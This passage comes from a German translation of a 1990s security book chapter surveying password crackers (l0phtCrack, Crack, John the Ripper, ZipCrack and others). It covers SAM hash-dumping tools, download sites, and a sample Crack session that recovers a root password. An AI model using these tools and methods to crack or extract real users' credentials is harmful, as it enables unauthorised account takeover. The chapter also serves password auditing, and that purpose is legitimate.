100.000-Einträge-Wörterbuch innerhalb weniger Minuten überprüft werden. Der Nachteil
dieser Methode ist, daß nur sehr einfache Paßwörter gefunden werden können. Die zweite
Methode ist die Brute-Force-Berechnung. Diese Methode benutzt eine bestimmte Sammlung
von Zeichen wie A-Z oder A-Z plus 0-9 und berechnet die Hash-Kodierung für jedes
mögliche Paßwort, das aus diesen Zeichen gebildet werden kann.
Die Freigabe von l0phtCrack verursachte erhebliche Debatten, besonders da die Autoren des Programms
darauf hinwiesen, daß Microsofts Paßwort-Algorithmus »im wesentlichen fehlerhaft« sei.
Microsoft-Offizielle wiesen diese Aussage weit von sich, aber vergeblich. l0phtCrack funktioniert sehr
gut.
Um l0phtCrack effektiv einsetzen zu können, brauchen Sie die Hash-Kodierungen der Paßwörter. Die
einfachste Methode ist, sie aus der Registrierdatenbank zu nehmen (oder sie aus einer SAM(Security
Accounts Manager)-Datei zu extrahieren. Ich werde später in diesem Kapitel ein Tool namens pwdump
vorstellen, das die nötigen Informationen extrahieren kann.
l0phtCrack finden Sie unter http://www.l0pht.com/l0phtcrack/.
ScanNT von Midwestern Commerce, Inc.
ScanNT ist eine umfassende Paßwort-Audit-Lösung von Midwestern Commerce, Inc. Im Gegensatz zu
Paßwort-Knacker
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den meisten anderen Paßwort-Cracking und Auditing-Utilities ist ScanNT ein kommerzielles Produkt,
das seinen Preis durchaus wert ist. Hier sind einige seiner Merkmale:
Klassifizierung von Gruppen, um bestimmte Benutzer oder Klassen von Benutzern auszuschließen
Automatisieren und Planen von Paßwort-Audits
Speichern von Systemüberprüfungen (diese Funktion spart Zeit, da aufgezeichnet wird, welche
Paßwörter seit der letzten Überprüfung geändert wurden)
ScanNT ist tatsächlich Teil einer größeren Systemverwaltungsprogrammfamilie namens Administrator
Assistant Tool Kit 2.0. Seine verwandten Utilities verbessern Ihre Möglichkeiten zur Kontrolle von
Richtlinien und Sicherheit erheblich, sei es auf einem einzelnen Rechner oder in einem
Windows-NT-Netzwerk. Hier sind zwei gute Beispiele für andere Programme der Familie:
FileAdmin. Ein Tool, das die systemübergreifende Manipulation von Dateiprivilegien ermöglicht,
mit Funktionen, die die im Windows NT Security Manager verfügbaren weit übertrifft.
RegAdmin. RegAdmin wurde entwickelt, um Einträge in die Registrierdatenbank großer
Netzwerke einfach manipulieren zu können. Es ermöglicht Ihnen das Hinzufügen oder Entfernen
von Privilegien für einzelne Schlüssel, Gruppen und Klassen.
ScanNT wird mit einem integrierten Wörterbuch mit 32.000 Einträgen geliefert (sie können leicht
größere Wörterbücher aus anderen Quellen integrieren). Außerdem ändert ScanNT automatisch
Sicherheitsrichtlinien, um seine Überprüfung durchzuführen, nach deren Beendigung es diese Richtlinien
automatisch wieder etabliert. Und schließlich können Sie ScanNT entweder im Befehlszeilen- oder im
GUI-Modus einsetzen.
Sie finden ScanNT unter http://www.ntsecurity.com/Products/ScanNT/index.html.
NTCrack von Somarsoft
NTCrack ist ein eigenartiges Utility. Wie seine Autoren erklären, ist es nicht wirklich für das Knacken
von Paßwörtern im praktischen Sinn entwickelt worden. Es demonstriert jedoch, daß ein Cracker mit
Brute-Force-Methoden gegen Windows NT vorgehen kann. Der Zweck des Programms sind extrem
schnelle Brute-Force-Angriffe gegen einen NT-Rechner, wie die Leute von Somarsoft berichten:
Das Programm schafft etwa 1.000 Logins pro Minute, wenn es auf einem 486DX-33- Client
mit 16 Mbyte RAM, einem 486DX-66-Server mit 32 Mbyte RAM und einem 10-
MBps-Ethernet läuft. Dies kommt einem Überprüfen von 1.152.000 Paßwörtern pro Tag
gleich. Zum Vergleich: es gibt vielleicht 100.000 gängige Wörter in der englischen Sprache.
Um solche Angriffe zu verhindern, schlägt Somarsoft vor, daß Sie Account-Sperren einrichten, den
Administrator-Account umbenennen, Netzwerk-Logins für Administrator deaktivieren und SMB über
TCP/IP sperren.
Um NTCrack auszuprobieren, holen Sie sich den Source-Code unter http://somarsoft.com/ntcrack.htm
oder eine kompilierte Version unter http://somarsoft.com/ftp/ NTCRACK.ZIP.
Password NT von Midwestern Commerce, Inc.
Password NT stellt Paßwortdateien auf der Microsoft-Windows-NT-3.51-Plattform wieder her. Beachten
Paßwort-Knacker
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Sie, daß einige Programmierkenntnisse notwendig sind, um dieses Utility anzuwenden. Wenn das
ursprüngliche Laufwerk, auf dem sich das Zielpaßwort befindet, NTFS (New Technology File System)
ist (und daher Zugangskontrolloptionen aktiviert sind), müssen Sie die Paßwortausgaben auf ein anderes
Laufwerk, das nicht durch Zugangskontrollen geschützt ist, verschieben. Dazu müssen Sie das Paßwort
auf ein Laufwerk verschieben, das ebenfalls auf einer 3.51-Workstation oder einem 3.51-Server läuft.
Wegweiser:
Password NT ist ein gut gemachtes Utility, das Sie immer auf der Homepage des Unternehmens finden
können. http://www.ntsecurity.com/Services/ Recovery/index.html.
11.4.2 NT-Zubehörprogramme
Die NT-Zubehörprogramme, die in Tabelle 11.1 aufgelistet sind, sind unentbehrlich.
Tabelle 11.1: Zubehörprogramme für das Knacken von NT-Paßwörtern
Applikation Beschreibung und URL
samdump samdump ist ein Utility, das den Prozeß des Verwerfens von
NT-Paßwort-Hash-Kodierungen automatisiert. Es verwirft diese Werte aus der
SAM-Datei, die sich entweder in der Registrierungsdatenbank auf einer
Notfall-Reparaturdiskette oder außerhalb des Festplattenlaufwerks befindet. Samdump
erhalten Sie unter http://www.rhino9.org/tools/samdump.zip
pwdump pwdump ist ein ähnliches Utility wie samdump. Es verwirft NT-Benutzernamen und
Paßwörter. (Glücklicherweise verlangt pwdump Administratorprivilegien.) pwdump
finden Sie unter http://www.rhino9.org/tools/pwdump.ex_
NTFSDOS NTFSDOS ist ein Tool, das es Ihnen ermöglicht, auf NTFS-Datenträger zuzugreifen und
sie sich anzusehen, als wären sie FAT32. Sie können dieses Tool dazu benutzen,
SAM-Paßwortinformationen von einem NTFS-Datenträger zu extrahieren. Sie finden
NTFSDOS unter ftp://ftp.ora.com/pub/examples/windows/win95.update/ntfsdos.zip
Bemerkungen zu NT-Paßwortsicherheit
Statt die hier beschriebenen Utilities einfach nur zu benutzen, möchten Sie vielleicht zunächst einmal
untersuchen, welche Faktoren zu derart schlechter Sicherheit von Paßwörtern in NT führten. Sollte das so
sein, sollten Sie sich die folgenden Dokumente ansehen:
On NT Password Security von Jos Visser. Ein hervorragendes Papier, das sowohl die
mechanischen als auch die theoretischen Probleme in Hinsicht auf das NT-Paßwortschema
diskutiert. Der Autor stellt auch dar, wie man einen Angriff gegen
Windows-NT-Paßwort-Ausgaben durchführt. http://www.osp.nl/infobase/ntpass.html#crack2.
SAM Attacks FAQ von Russ Cooper (von NTBUGTRAQ). Dieses Dokument bietet detaillierte
Informationen darüber, wie SAM-Dateien ausgegeben werden können und warum.
http://WWW.NTBUGTRAQ.COM/Contributions/SAMAttack.asp.
Paßwort-Knacker
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NT Cryptographic Password Attacks and Defences FAQ von Alan Ramsbottom. Dieses
Dokument bietet Informationen dazu, warum bestimmte Microsoft-Abhilfen nicht funktioniert
haben, und betrachtet die Schwachstellen in Microsofts Implementierung von DES.
http://WWW.NTBUGTRAQ.COM/Contributions/samfaq.asp.
l0phtcrack 1.5 Lanman/NT Password Hash Cracker. Eine detaillierte Analyse (die wirklich
blutrünstigen Details) der NT-Paßwort-Schwachstellen. Geschrieben von mudge@l0pht.com.
http://users.dhp.com/~fyodor/sploits/l0phtcrack.lanman.problems.html .
11.4.3 Paßwort-Knacker für Unix
Der nächste Abschnitt gibt eine Übersicht über Paßwort-Knacker, die für Unix als Zielplattform
entwickelt wurden. Das heißt, diese Paßwort-Knacker laufen möglicherweise auf vielen verschiedenen
Plattformen, wurden aber alle dazu entwikkelt, Unix-Paßwörter zu knakken.
Crack
Crack wird dazu benutzt, Unix-Netzwerke auf charakteristisch schwache Paßwörter zu untersuchen.
Crack wurde von Alec D. E. Muffet geschrieben, einem Unix-Software-Ingenieur aus Wales. Muffet
beschreibt den Zweck des Programms in der Dokumentation sehr präzise:
Crack ist ein frei verfügbares Programm, das dazu entwickelt wurde, 8stellige, mit DES
verschlüsselte Standardpaßwörter durch die Benutzung von Standard-Ratetechniken zu
finden. Es wurde geschrieben, um flexibel, konfigurierbar und schnell zu sein und um eine
Benutzung verschiedener vernetzter Hosts über das Berkeley-rsh- Programm (oder
ähnliches) wann immer möglich zu realisieren.
Crack läuft nur auf Unix. Es kommt als .tar.gz-Datei und ist zu finden unter
http://www.users.dircon.co.uk/~crypto/
Nachdem Sie Crack heruntergeladen und installiert haben, haben Sie ein Verzeichnis vor sich, das dem
in Abbildung 11.4 ähnelt.
Abbildung 11.4: Die Verzeichnisstruktur von Crack
Um Crack zum Laufen zu bringen, legen Sie das Root-Verzeichnis fest. Sie weisen diese Variable
(Crack_Home) in den Konfigurationsdateien zu. Die Variable Crack_Home sagt dem Programm, wo
sich seine Ressourcen befinden. Zum Einstellen dieser Variablen editieren Sie das Shell-Scipt crack.
Sobald Sie dies getan haben, können Sie beginnen.
Hinweis:
Die meisten Distributionen von Crack werden von einer Musterwortliste begleitet. Diese Wortliste ist
jedoch limitiert. Wenn Sie das Knacken großer Paßwortdateien planen (oder Dateien in anderen
Sprachen) brauchen Sie wahrscheinlich zusätzliche Wörterbuchdateien.
Paßwort-Knacker
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Sie starten Ihre Crack-Arbeitssitzung, indem Sie das Programm starten und den Namen der Datei, die Sie
knacken wollen, angeben (sowie eventuelle Befehlszeilen-Argumente, u.a. Spezifikationen für die
Benutzung mehrerer Workstations). Eine einfache Befehlszeile sieht so aus:
crack my_password_file
Was nun folgt, ist schwierig zu beschreiben, also habe ich eine Probearbeitssitzung gestartet. Crack
beginnt den Prozeß und schreibt den Arbeitsablauf in eine Datei mit dem Präfix out. In diesem Fall
wurde die Datei outSamsHack300 genannt. Nachfolgend finden Sie einen Auszug aus dieser Datei:
pwc: Jan 30 19:26:49 Crack v4.1f: The Password Cracker,
[ic:ccc](c) Alec D.E. Muffett, 1992
pwc: Jan 30 19:26:49 Loading Data, host=SamsHack pid=300
pwc: Jan 30 19:26:49 Loaded 2 password entries with 2 different
[ic:ccc](salts: 100%
pwc: Jan 30 19:26:49 Loaded 240 rules from 'Scripts/dicts.rules'.
pwc: Jan 30 19:26:49 Loaded 74 rules from 'Scripts/gecos.rules'.
pwc: Jan 30 19:26:49 Starting pass 1 - password information
pwc: Jan 30 19:26:49 FeedBack: 0 users done, 2 users left to crack.
pwc: Jan 30 19:26:49 Starting pass 2 - dictionary words
pwc: Jan 30 19:26:49 Applying rule '!?Al' to file 'Dicts/bigdict'
pwc: Jan 30 19:26:50 Rejected 12492 words on loading, 89160 words
[ic:ccc](left to sort
pwc: Jan 30 19:26:51 Sort discarded 947 words; FINAL DICTIONARY
[ic:ccc](SIZE: 88213
pwc: Jan 30 19:27:41 Guessed ROOT PASSWORD root (/bin/bash
[ic:ccc](in my_password_file) [laura] EYFu7c842Bcus
pwc: Jan 30 19:27:41 Closing feedback file.
Crack schaffte es, das richtige Paßwort für Root in etwas weniger als einer Minute zu raten. Zeile 1 gibt
die Uhrzeit an, zu der der Prozeß gestartet wurde (19 h 26 min 49 sek) und Zeile 12 zeigt, daß das
Paßwort - Laura - um 19 h 27 min 41 sek geknackt wurde. Diese Arbeitssitzung lief auf einem
133-MHz-Prozessor mit 32 Mbyte RAM.
Da die von mir benutzte Paßwortdatei klein war, spielten weder Zeit noch Ressourcen eine Rolle. Wenn
Sie jedoch in der Praxis eine Datei mit Hunderten von Einträgen knacken wollen, wird Crack enorme
Ressourcen belegen. Dies gilt vor allem dann, wenn Sie mehrere Wortlisten in komprimierter Form
benutzen. (Crack erkennt die Dateien automatisch als komprimierte Dateien und dekomprimiert sie).
Wie ich vorher schon erwähnt habe, können Sie das Ressourcenproblem umgehen. Crack kann seinen
Arbeitsprozeß an verschiedene Workstations oder Architekturen aufteilen. Sie können Crack auf einem
IBM-kompatiblen Rechner mit Linux, einem RS/6000 mit AIX und einem Macintosh mit A/UX
benutzen.
Crack ist ein extremes Leichtgewicht und einer der besten erhältlichen Paßwort-Knacker.
Tip:
Paßwort-Knacker
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Um eine vernetzte Arbeitssitzung mit Crack durchzuführen, müssen Sie eine network.conf-Datei
kreieren. Diese Datei gibt an, welche Hosts eingeschlossen werden, ihre Architektur und andere
Schlüsselvariablen. Sie können ebenfalls bestimmen, welche Befehlszeilenoptionen aufgerufen werden,
wenn Crack auf dem jeweiligen Rechner startet, d.h., auf jedem beteiligten Rechner kann Crack mit
verschiedenen Befehlszeilenoptionen laufen.
Wegweiser:
Macintosh-Benutzer können ebenfalls die Geschwindigkeit und Leistungsfähigkeit von Crack genießen,
indem sie die aktuellste Portierung von Crack, MacKrack v2.01b1, benutzen. Sie finden sie unter
http://www.plato- net.or.jp/usr/vladimir/undergroundmac/Hacking/ MacKrack2.01b1.sit.bin.
CrackerJack von Jakal
CrackerJack läuft auf DOS, knackt aber Unix-Paßwörter. Im Gegensatz zu populären Vermutungen ist
CrackerJack keine direkte Portierung von Crack. Dennoch ist CrackerJack extrem schnell und einfach zu
benutzen. CrackerJack ist schon seit einigen Jahren die Wahl für DOS-Anwender.
Spätere Versionen wurden unter Benutzung von GNU C und C++ kompiliert. Der Entwickler von
CrackerJack berichtet, daß das Programm durch diesen Rekompilierungsprozeß erheblich an
Geschwindigkeit gewonnen hat.
Tip:
CrackerJack läuft jetzt auch auf OS/2-Plattformen.
Einige erwähnenswerte Nachteile vonCrackerJack sind:
Sie können jeweils nur eine Wörterbuchdatei benutzen.
Speicherzuordnungskonventionen verhindern, daß CrackerJack auch auf Windows 95 laufen kann.
Trotz dieser Haken ist CrackerJack zuverlässig und belegt nur minimale Ressourcen. Es braucht keine
große Prozessorleistung, verlangt keine Fensterumgebung und kann sogar von Diskette laufen.
Wegweiser:
CrackerJack ist weithin verfügbar. Hier ein paar zuverlässige Sites:
ftp://ftp.sonic.net/pub/users/z/hacking/jack14.zip
http://www.censorfreeworld.com/Files/hack/jack14.zip
http://woodstok.incyberspace.com/hack/files/hacks/jack14.zip
PaceCrack95 (pacemkr@bluemoon.net)
PaceCrack95 läuft auf Windows 95 im Konsolenmodus oder in einem Shellfenster. Der Autor von
PaceCrack95 berichtet, daß die Entwicklung des Programms aufgrund von Unzulänglichkeiten in
anderen DOS-basierten Paßwort-Knackern geplant wurde. Er schreibt:
Paßwort-Knacker
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Sie fragen sich vielleicht, warum ich ein solches Programm geschrieben habe, wenn es
bereits so viele gibt, die das gleiche tun. Es gibt mehrere Gründe. Ich suchte eine
Herausforderung und dies war ein sinnvoller Weg, eine zu finden. Und dann war da noch
dieser Typ (Borris), der mich ständig bearbeitete, das für ihn zu tun, weil CrakkerJack (von
Jakal) wegen der seltsamen Art und Weise, in der es Speicher nutzt, nicht unter Windows 95
läuft. Was gebraucht wurde, war ein Programm, das unter Windows 95 läuft und die gleiche
Geschwindigkeit bietet wie CrackerJack.
Und genau das schaffte der Autor. Er entwickelte ein schnelles, kompaktes und effektives Programm.
Wegweiser:
Zuverlässige Sites, über die Sie PaceCrack95 herunterladen können, sind knapp, aber Sie können es auf
folgender Site finden: http://tms.netrom.com/~cassidy/utils/pacec.zip .
Qcrack vom Crypt Keeper
Qcrack wurde ursprünglich für Linux entworfen. Seitdem wurde es auf die MSDOS/Windows-Plattform
portiert. Qcrack ist effektiv, hat aber einige größere Nachteile. Einer davon betrifft Speicherplatz. Wie
der Autor, der Crypt Keeper, erklärt:
QInit [eine von mehreren Binaries in der Distribution] erzeugt eine Hash-Tabelle, in der
jeder Eintrag einem Salzwert entspricht und die ersten zwei Bytes der Hash- Kodierung
enthält. Jedes Paßwort entspricht etwa 4 Kbyte, also wird diese Datei sehr schnell groß.
Eine Datei mit 5.000 Wörtern belegt etwa 20 Mbyte der Festplatte. Dies erfordert, daß man
sowohl über genügend Speicherplatz als auch über ein sehr gut sortiertes Wörterbuch
verfügt. Eingeschlossen ist eine Datei namens cpw, die eine Liste von Wörtern enthält, die
ich für »gute« Wörter für den typischen Account halte. Ich hatte mit dieser Datei bei einigen
Paßwortdateien null Treffer, bei anderen fast 30 Prozent Treffer.
Hinweis:
Als einfacher Paßwort-Knacker benutzt, ist Qcrack langsamer als viele seiner Gegenstücke. Die
Spezialfunktionen des Programms machen dieses Manko jedoch wieder wett. Zum Beispiel kann Qcrack
Ihre Cracking-Session parallelisieren, so daß Sie verschiedene Rechner und verschiedene Wörterbücher
benutzen können. Dieser Ansatz führt zu einer erheblichen Geschwindigkeitserhöhung.
Wegweiser:
Sie können Qcrack auf den folgenden Sites finden:
ftp://chaos.infospace.com/pub/qcrack/qcrack-1.02.tar.gz.
http://tms.netrom.com/~cassidy/utils/qc101g.zip
John the Ripper von Solar Designer
John the Ripper läuft unter DOS oder Windows 95. Die binäre Distribution wurde im Dezember 1996
freigegeben. Wenn Sie einen Rechner benutzen, der über weniger als 4 Mbyte RAM verfügt, sollten Sie
Paßwort-Knacker
file:///d|/cool stuff/old/hack/kap11.htm (14 von 28) [19.04.2000 21:14:40]
dieses Utility nicht einsetzen. Sein Autor behauptet zwar, daß das Programm auch mit weniger als 4
Mbyte RAM laufen kann, aber in der Praxis funktioniert das nicht.
Wegweiser:
John the Ripper läuft jetzt auch auf Linux. Um es zu benutzen, brauchen Sie ELF-Unterstützung. Sie
finden die ELF-Distribution, indem Sie nach john- linux.tar.zip suchen.
Wegweiser:
Die DOS-Version von John the Ripper, die für einen Paßwort-Knacker relativ groß ist, finden Sie unter
http://tms.netrom.com/~cassidy/utils/john- 15w.zip.
Hades von Remote und Zabkar
Hades ist noch eine Utility zum Knacken von Unix-/etc/passwd-Paßwörtern. Die Distribution
enthält den Source-Code, ein Handbuch und einen Ratgeber, den ich hier zitiere:
Wir haben den Hades-Paßwort-Cracker entwickelt, um zu zeigen, daß die allgemein
lesbaren verschlüsselten Paßwörter in /etc/passwd eine umfassende Schwachstelle des
Unix-Betriebssystems und seinen Derivaten darstellen. Dieses Programm kann von
Systemadministratoren benutzt werden, um schwache Paßwörter zu entdecken und zu
entfernen und damit das System sicherer zu machen.
Mit Ausnahme von Muffetts Crack ist Hades das bestdokumentiertste Programm zum Knakken von
Paßwörten, das derzeit erhältlich ist. Die Autoren sind sehr sorgfältig vorgegangen, um Ihnen jeden
erdenklichen Komfort zu bieten. Die Hades-Distribution besteht aus mehreren kleinen Utilities, die,
wenn sie zusammen angewendet werden, eine mächtige Programmfamilie zum Knacken von Paßwörtern
darstellen. Jedes Utility hat sein eigenes Handbuch. Die einzelnen Utilities stellen die folgenden
Funktionen zur Verfügung:
Das Merge-Utility faßt zwei Wörterbücher (Wortlisten) zu einem dritten zusammen.
Das Optimize-Utility räumt durch Formatieren Wörterbücherdateien auf, doppelte Einträge werden
gelöscht und lange Wörter werden abgekürzt.
Das Hits-Utility zeichnet alle in früheren Sessions geknackten Paßwörter in einer vom Benutzer
spezifizierten Datei auf. Hades kann von dieser Datei ein weiteres Wörterbuch ableiten.
Wegweiser:
Hades ist so weit verbreitet, daß ich mir das Auflisten von Sites erspare. Benutzer, die dieses ausgefeilte
Utility ausprobieren möchten, sollten nach einem oder beiden der folgenden Begriffe suchen:
hades.zip
hades.arj
Star Cracker von The Sorcerer
Star Cracker wurde für die DOS4GW-Umgebung entwickelt und ist eine komplette Programmfamilie
Paßwort-Knacker
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zum Knacken von Paßwörtern. Einige der interessanten Vorteile von Star Cracker sind:
Fail-Safe-Maßnahmen im Fall eines Stromausfalls - Wenn ein Stromausfall in Ihrer Stadt Ihren
Computer ausschaltet, ist Ihre Arbeit nicht verloren. Beim erneuten Booten stellt Star Cracker alle
Arbeiten, die vor dem Stromausfall ausgeführt wurden, wieder her und setzt den Vorgang fort.
Zeitabhängige Arbeitsabläufe - Sie können Zeitfenster einstellen, in denen festgelegt wird, wann
das Programm seine Arbeit erledigt, d.h., Sie könnten festlegen: »Knacke diese Datei für elf
Stunden. Wenn die elf Stunden vorbei sind, warte drei Stunden. Nach drei Stunden starte noch
einmal.«
Star Cracker macht den Prozeß des Paßwort-Knackens wirklich einfach.
Wegweiser:
Star Cracker finden Sie unter http://massacre.wizardtech.net/Misc/ scrk03a.zip.
Hellfire Cracker von The Racketeer und The Presence
Hellfire Cracker ist ein Utility für die DOS-Plattform zum Knacken von Unix-Paßwörtern. Dieses Utility
ist recht schnell, obwohl das nichts mit dem Verschlüsselungsmotor zu tun hat. Der Hauptnachteil liegt
im Fehlen von benutzerfreundlichen Funktionen. Dies macht es jedoch durch seine Schnelligkeit und
Leistungsfähigkeit wieder wett.
Ein Komfort von Hellfire ist, daß es jetzt fast ausschließlich in Binärform verteilt wird und somit kein
C-Compiler notwendig ist. Man mag dies aber auch als Nachteil sehen.
Wegweiser:
Sie können Hellfire Cracker auf vielen Sites finden. Ich hatte jedoch Probleme, eine zuverlässige Site zu
finden, denke aber, daß Sie sich auf die folgende verlassen können:
http://www.riconnect.com/LilHands/hacks/ lc130.zip.
XIT von Roche'Crypt
XIT ist noch ein weiterer Paßwort-Knacker für die Unix-/etc/passwd-Datei. Folgende Merkmale
unterscheiden ihn von seinen Gegenstücken:
Die Fähigkeit, sich nach einem Stromausfall oder plötzlichen Reboot zu erholen
Für Analysen vollständig verfügbarer Source-Code
Die Möglichkeit, sekundengenaue Statusberichte zu erstellen
Volle Unterstüzung für 286er-Rechner!
Die Fähigkeit, die Existenz eines Caches für höhere Geschwindigkeit und bessere Performance
auszunutzen
Dieses Utility gibt es schon seit einigen Jahren. Es ist jedoch nicht so weit verbreitet, wie man annehmen
könnte. Es ist auch in mehreren komprimierten Formaten verfügbar, die meisten Versionen als
.zip-Datei.
Wegweiser:
Paßwort-Knacker
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Eine zuverlässige Site für XIT ist http://www.spacecom5.net/cracking/ xit20.zip.
Claymore von The Grenadier
Claymore ist ein bißchen anders als seine Gegenstücke. Es läuft auf jeder Windows-Plattform,
einschließlich 95 und NT.
Hinweis:
Claymore arbeitet nicht unter DOS, nicht einmal in einem DOS-Shellfenster.
Dieses Utility bietet nicht viele Funktionen, aber einige Komforts sind erwähnenswert. Erstens können
Sie Claymore als einen Brute-Force-Cracker für viele Systeme einsetzen. Sie können es benutzen, um
Unix-/etc/passwd-Dateien zu knacken, aber auch zum Knacken von anderen Programmtypen
(darunter solche, die eine Login-/Paßwort-Kombination als Zugang fordern).
Ein eher komischer Aspekt dieses Brute-Force-Crackers ist seine Übereifrigkeit. Hierzu der Autor:
Behalten Sie den Rechner im Auge. Claymore wird weiter Paßwörter eingeben, auch wenn
es bereits durchgebrochen ist. Denken Sie auch daran, daß ein falsches Paßwort den
Computer oft piepsen läßt, also sollten Sie vielleicht die Lautsprecher ausschalten.
Manchmal gibt Claymore Schlüsseleingaben schneller aus, als das andere Programm sie
verarbeiten kann. In solchen Fällen sollten Sie Claymore bestimmte Schlüsseleingaben, die
keine andere Funktion auf dem Zielrechner haben, immer wieder wiederholen lassen, so
daß Claymore verlangsamt wird und das angegriffene Programm Zeit hat, sich zu erholen.
Claymore ist, was ich als wahres Brute-Force-Cracking-Utility bezeichne. Ein interessanter Aspekt ist,
daß Sie spezifizieren können, daß das Programm Kontroll- und andere nicht druckbare Zeichen während
des Crack-Vorgangs senden soll. Die Struktur der Syntax läßt vermuten, daß Claymore in Microsoft
Visual Basic geschrieben wurde.
Wegweiser:
Claymore finden Sie unter http://www3.l0pht.com/pub/blackcrwl/hack/ claym10.zip.
Guess von Christian Beaumont
Guess ist eine einfache kompakte Applikation, die dazu entwickelt wurde, Unix-/etc/
passwd-Dateien anzugreifen. Das Interface ist für DOS entworfen, läuft aber auch über ein
DOS-Shellfenster. Der Source-Code, der in der binären Distribution enthalten ist, ist interessant. Es
scheint, daß Guess irgendwann im Jahr 1991 entwickelt wurde.
Wegweiser:
Guess ist sehr weit verbreitet, ich stelle Ihnen hier also keine Auflistung von Sites zur Verfügung. Sie
finden es leicht, wenn Sie den Suchbegriff guess.zip eingeben.
Merlin von Computer Incident Advisory Capability (CIAC) DOE
Paßwort-Knacker
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Merlin ist kein Paßwort-Knacker. Es ist eher ein Tool für das Management von Paßwort- Knackern
sowie Scannern, Auditing-Tools und anderen sicherheitsrelevanten Utilities. Kurz, es ist ein ziemlich
raffiniertes Tool für ganzheitliches Management des Sicherheitsprozesses. Abbildung 11.5 zeigt den
Eröffnungsbildschirm von Merlin.
Abbildung 11.5: Der Eröffnungsbildschirm von Merlin.
Merlin läuft nur auf Unix-Plattformen. Es wurde auf einigen Derivaten (erfolgreich) getestet, darunter
u.a. IRIX, Linux, SunOS, Solaris und HP-UX.
Einer der Hauptvorteile von Merlin ist seine hohe Erweiterungsfähigkeit, obwohl es speziell dazu
entwickelt wurde, nur fünf gängige Sicherheitstools zu unterstützen (es wurde fast ausschließlich in Perl
geschrieben). Sie können jegliche Anzahl von Tools in das Schema des Programms integrieren.
Merlin ist ein wunderbares Tool, um eine Handvoll von Befehlszeilen-Tools in ein einzelnes, einfach zu
bedienendes Paket zu integrieren. Es hält sich an die Tatsache, daß die Mehrheit der
Unix-Sicherheitstools auf dem Befehlszeilen-Interface basieren. Die fünf unterstützten Applikationen
sind:
COPS
Tiger
Crack
Tripwire
SPI (nur für Regierungsvertragsunternehmen und -agenturen)
Sie sollten beachten, daß keines dieser Utilities in der Merlin-Distribution enthalten ist. Sie müssen sich
diese Applikationen besorgen und Merlin dann so konfigurieren, daß es mit ihnen arbeiten kann (ähnlich
wie man externe Viewer und Hilfsprogramme in Netscape Navigator konfiguriert). Das Konzept mag
langweilig erscheinen, aber Merlin stellt einen einfachen und zentralisierten Punkt zur Verfügung, von
dem ausgehend Sie einige ziemlich übliche (und aufreibende) Sicherheitsaufgaben erledigen können. In
anderen Worten, Merlin ist mehr als nur ein dummes Front-End. Meiner Meinung nach ist es ein guter
Beitrag für die Sicherheitsgemeinde.
Tip:
Die Programmierer, für die die Unix-Plattform noch Neuland ist, müssen einiges programmieren, um
Merlin zum Laufen zu kriegen. Zum Beispiel geht Merlin davon aus, daß Sie Ihren Browser in bezug auf
den Umgang mit *.pl- Dateien korrekt konfiguriert haben (ich brauche nicht zu erwähnen, daß Perl
eine Voraussetzung ist). Merlin läßt angeblich auch einen internen HTTP- Server laufen und sucht nach
Netzverbindungen auf localhost. Sie brauchen also ein loopback-Interface.
Merlin (und entsprechende andere Programme) stellt einen wichtigen und zunehmend verbreiteten Trend
dar (ein Trend, der von Farmer und Venema ins Leben gerufen wurde). Da solche Programme in erster
Linie auf Basis von HTML/Perl entwickelt werden, sind sie umfassend portierbar auf andere Plattformen
Paßwort-Knacker
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in der Unix-Gemeinde. Sie verbrauchen in der Regel nicht viele Netzwerkressourcen und sind recht
schnell, nachdem der Code in den Interpreter geladen wurde. Und schließlich sind diese Tools einfacher
zu benutzen und machen damit aus Sicherheit eine weniger unüberwindbar erscheinende Aufgabe. Die
Daten sind schnell verfügbar und leicht manipulierbar. Dieser Trend kann nur dazu beitragen, Sicherheit
zu verstärken und Neulinge auf dem Gebiet zu schulen.
11.4.4 Andere Arten von Paßwort-Crackern
Jetzt wage ich mich in exotischere Gefilde vor. Sie werden hier eine große Auswahl von
Paßwort-Knackern für nahezu jede Art von System oder Applikation finden.
ZipCrack von Michael A. Quinlan
ZipCrack tut genau das, was Sie dachten: Es wurde entwickelt, um mit Hilfe von Brute- Force-Methoden
Paßwörter für Dateien mit *.zip-Erweiterung zu knacken. (Anders gesagt, es knackt Paßwörter auf
Dateien, die mit PKZIP generiert wurden.)
Die Distribution enthält keine Dokumentation (zumindest nicht in den wenigen Dateien, die ich mir
angeschaut habe), aber ich glaube, daß man auch keine braucht. Das Programm ist sehr direkt. Sie geben
nur die Zieldatei an und das Programm erledigt den Rest.
ZipCrack wurde in Turbo Pascal geschrieben, der Source-Code ist in der Distribution enthalten. Das
Programm läuft auf jedem IBM-kompatiblen Rechner ab 286er. In der Datei »Description« wird
beschrieben, daß ZipCrack alle mit PKZIP generierten Paßwörter knackt. Der Autor warnt auch davor,
daß kurze Paßwörter zwar in einem sinnvollen Zeitraum geknackt werden können, das Knacken von
langen Paßwörtern aber »Jahrhunderte« dauern kann. Ich bezweifle allerdings ernsthaft, daß viele Leute
Paßwörter anwenden, die mehr als fünf Zeichen umfassen. ZipCrack ist ein nützliches Utility für die
durchschnittliche Werkzeugkiste. Es ist eines der Programme, von denen Sie denken, daß Sie es niemals
brauchen werden, und dann später, um 3 Uhr früh werden Sie bitter fluchen, weil Sie es nicht haben.
Wegweiser:
ZipCrack ist weit verbreitet, benutzen Sie den Suchbegriff zipcrk10.zip.
Fast Zip 2.0 (Autor unbekannt)
Fast Zip 2.0 ist im Prinzip identisch mit ZipCrack. Es knackt Paßwörter auf *.zip-Dateien.
Wegweiser:
Um Fast Zip 2.0 zu finden, benutzen Sie den Suchbegriff fzc101.zip.
Decrypt von Gabriel Fineman
Ein obskures, aber trotzdem interessantes Utility, knackt Decrypt-WordPerfect-Paßwörter. Es ist in
BASIC geschrieben und funktioniert gut. Das Programm ist nicht perfekt, ist aber in vielen Fällen
erfolgreich. Der Autor gibt an, daß Decrypt Paßwörter mit Schlüsseln von 1 bis 23 überprüft. Das
Programm wurde 1993 freigegeben und ist weit verbreitet.
Paßwort-Knacker
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Wegweiser:
Um Decrypt zu finden, benutzen Sie den Suchbegriff decrypt.zip.
Glide (Autor unbekannt)
Glide stellt keine sehr umfangreiche Dokumentation zur Verfügung. Dieses Programm wird nur dazu
benutzt, PWL-Dateien zu knacken, das sind Paßwortdateien, die in Microsoft Windows for Workgroups
und späteren Windows-Versionen generiert werden. Das Fehlen ausführlicher Dokumentation ist, denke
ich, verzeihlich. Der C-Source-Code ist in der Distribution enthalten. Dieses Utility ist ein Muß für
jeden, der Microsoft-Windows-Rechner hackt oder crackt.
Wegweiser:
